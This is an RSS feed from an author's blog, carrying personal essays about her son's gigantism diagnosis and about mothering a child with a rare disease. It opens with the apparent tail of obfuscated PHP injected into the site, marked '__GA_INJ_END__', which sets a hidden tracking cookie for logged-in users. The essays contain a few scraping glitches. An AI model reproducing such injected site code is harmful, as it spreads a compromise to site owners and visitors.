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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224(); /* __GA_INJ_END__ */ amwriting | Patti M Hall https://pattimhall.com/tag/amwriting/ Master Story Alchemist. The World Is Waiting To Hear Your Story Thu, 14 May 2020 19:08:45 +0000 en-CA hourly 1 https://wordpress.org/?v=6.9.4 https://pattimhall.com/wp-content/uploads/2022/10/cropped-icon-1-32x32.png amwriting | Patti M Hall https://pattimhall.com/tag/amwriting/ 32 32 He Has His Own Definition of Forever https://pattimhall.com/definition-forever-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=definition-forever-mamalode-com Wed, 21 Dec 2016 20:14:39 +0000 http://pattimhall.com/?p=1103 I call them the Invincibles: those teenagers who walk across parking lots and streets in defiance of the “look both ways” that you can be certain their parents repeated laboriously to them as toddlers and preschoolers. I see the Invincibles stepping off of sidewalks, with hoodies pulled up and forward like the blinders on an…

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]]> I call them the Invincibles: those teenagers who walk across parking lots and streets in defiance of the “look both ways” that you can be certain their parents repeated laboriously to them as toddlers and preschoolers.

I see the Invincibles stepping off of sidewalks, with hoodies pulled up and forward like the blinders on an anxious horse, ear buds wedged in to eliminate any possibility of hearing an approaching car, bus or steam engine. It only takes a moment after I’ve slammed on my brakes and uttered something inappropriate, that I catch myself smiling–they are exactly as they should be. Good on them, my heart says. I want that for those kids. I wish that for every child—to be able to walk around the planet like nothing can affect them, all “I’ve got this” swagger.

My children don’t have that, and it’s not because I worked any harder at teaching them the dangers of the world than other mothers. They learned the lesson of their own vulnerability —their mortality—thanks to modern medicine and genetics. Neither of my boys carries themselves like they are invincible, because they’ve learned they aren’t. Even though it may be a cliché, it is no less true—once a life threatening diagnosis touches you, you can never live the same way you once did.

Growing up is tough enough, however much we convince ourselves that our children have the best possible opportunities—the technology, the services, the affluence that is unrivalled in human history—there is always a common denominator; a levelling influence, one factor that forces humility on all of us, health.

We do everything in our power to protect them, these tiny versions of ourselves, these delicate helpless humans that we bring into the world so long before they are able to care for themselves. There is only one thing more devastating for us parents than having to admit our child is beyond rescue, that circumstances have pressed our son or our daughter outside the scope of our parental toolbox. Seeing what living in full knowledge of their prognosis does to them, that is worse in my view. That is the hourly, daily reminder that is worse than the shock of failing to protect them from invisible, metaphorical monsters. Not only is my son unable to live as if he believed he is untouchable, he can’t even remember a time when he felt that. This is the greatest anguish of my life.

My son was diagnosed with an ultra-rare and incurable disease, Gigantism, when he was sixteen. I carried the weight of the details of his medical journey, guiding us through diagnosis, treatment and management, because he wanted it that way. He said, “as long as you have the answers to the questions, I’ll ask you what I want to know.” It was our deal.

So, while I got a Ph.D in his health, I was never certain how much he wanted to know. I had no way to judge how he was processing it all. That was until one short conversation shone a spotlight on his agony, making my denial of the impact of the rare disease odyssey on him impossible to deny.

One night as my two sons and I were hanging out talking about our day, Aaron mentioned a sign he’d seen on the subway that afternoon.

“I saw this sign today. It read: ‘I’m going to live forever—it’s going pretty well so far!’ I thought was a good one,” Aaron said.

“That is a good one,” I said. I thought he was done and looked down at the book in my lap.

Then, he spoke up again, “I can say the same thing—“ I looked up at him because his voice sounded muffled. His face was turned down, buried in the fur on the back of his beloved golden retriever’s head. “I’m gonna live forever. My own forever.” I watched as he gulped, turning his face up to me so that I could look into the wet eyes of my baby, my toddler, my teenager and at once my grown up hero.

“It’s true, after all.”

They walk the Earth each day, redefining the milestones and boundaries of life for themselves. They may not be invincible, and perhaps we wouldn’t ultimately want them to be untouched by life, but I would give anything for him to believe it was okay to keep wearing headphones and strutting across parking lots, rather than know what only seasoned adults should realize. Surely children shouldn’t need to reconsider eternity, just yet.

or you can read it HERE

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]]> Promises to My Boys and Other Failings https://pattimhall.com/promises-boys-failings-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=promises-boys-failings-mamalode-com Thu, 24 Nov 2016 04:32:30 +0000 http://pattimhall.com/?p=1084 I had no doubt I’d adore my boys. I did relish the advice of the many folks who insisted upon telling me just how much I’d love them. They’d try synonyms for huge, attempting metaphors for that inexplicably enormous and all-consuming feeling. One person got it right by admitting to the impossibility of the task:…

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]]> I had no doubt I’d adore my boys. I did relish the advice of the many folks who insisted upon telling me just how much I’d love them. They’d try synonyms for huge, attempting metaphors for that inexplicably enormous and all-consuming feeling. One person got it right by admitting to the impossibility of the task: “The sky is bluer.”

That is how motherhood began for me. My awareness of texture, color, temperature and noise was heightened. With postpartum depression, fear and uncertainty became terror and anxiety. Warm fuzzies became the most blissful moments of my life. I had an awareness of the miraculous with the appearance of my boys’ faces and little bodies, their well-formed parts and incredible, alert eyes.

A nightly habit of strolling through their rooms before I lay my own head down began the
first night of my eldest son’s life. He was premature, weak and a noisy sleeper, all which fuelled my paraml_badges-160x160_i-love-mamalodenoid self-doubt that I would not be able to keep my newborn alive. I checked on him, a lot. I went from holding my face close to his nose and mouth to confirm he was
breathing, to crawling up to the side of te crib, below his eye level, just to listen to him.

When I was twenty-nine I learned I was pregnant again. I had promised Aaron that a sibling would come. I stood by the crib side each night of that pregnancy studying him in his sleep, whispering to him. “You’ll be one of two soon. You’ll never be alone.” I memorized Aaron’s toddler face in the shadows at night, as he slept with his hands splayed out on the mattress above his head.

My declaration that I would be a particular sort of mother started then. In the glow of the plastic dolphin nightlight, I promised to be fair and good and kind to he and his baby brother. Aaron’s face was my beacon of hope declaring that I could achieve this promise and hundreds of others, heard only by me.

When Justin arrived, it quickly became very clear what kind of mother I would not be: I was getting a little more realistic in my standard setting. I wanted my boys to derive confidence from knowing they were a celebration that never ended for me. I wanted them to know they were my business, they were my why.

This limitless love and well-honed intention could not have prepared us for a disaster as profound as chronic illness. Diagnosed with gigantism at sixteen years old, the source a large tumor on his pituitary gland that causes abnormally high levels of growth hormone, Aaron was aggressively treated with surgery, medication and radiation.

Sometime when he was seventeen and we were enjoying quieter months in his treatment plan, I was watching television with him one Saturday evening when I noticed he had dozed off. He was a really big, sloppy pile of teenager consuming the couch, all jeans, hoodie and ball cap, with a death grip on the remote. The profile was a stretched, puffed up evolution of his infant and toddler one. The disease had broadened and thickened his forehead, expanded his nose and cheeks, adjusted the position of his jaw and mouth.

As I studied his face in the flicker of the television light, neither that of a man nor a boy, I apologized in breaths, swallows and blinks that something out of my control was impacting his life in a way that could steal from him the quality life I had so hoped for.

The profound feeling of failure to keep him healthy and safe weighs on me still. I failed to keep my promise, even though I had become so much more than his mother because of the monster that is rare disease, by becoming advocate, lay medical expert, caregiver, sidekick and cheerleader.

This is what chronic illness does to a mother. This mother anyway.

In a phone call’s length, it robbed me of the ability to keep the greatest unspoken promise of my motherhood—to protect. No matter how fair and good and kind I managed to be in the face of everything—I have only been able to be the mother he needed. I hope I’ve been the mother he deserved.

this piece originally appeared on www.mamalode.com:  want to view the post on www.mamalode.com?  

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]]> When You Say No To Support — Mamalode.com https://pattimhall.com/say-no-support-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=say-no-support-mamalode-com Thu, 14 Apr 2016 16:11:40 +0000 http://pattimhall.com/?p=797 “Through all of this, I stopped knowing who I was. I lost myself. Parents of kids who live with chronic and critical diseases and disorders are not quite whole anymore: they are assemblages of limitless energy, capable of morphing and moulding into whatever the medical system and their child’s symptomology demands. Rare disease Moms are…

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]]> “Through all of this, I stopped knowing who I was. I lost myself. Parents of kids who live with chronic and critical diseases and disorders are not quite whole anymore: they are assemblages of limitless energy, capable of morphing and moulding into whatever the medical system and their child’s symptomology demands. Rare disease Moms are first responders who have a Ph.D in their own child.”http:/http://I'm Published by Mamalode!

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Mamalode April 14

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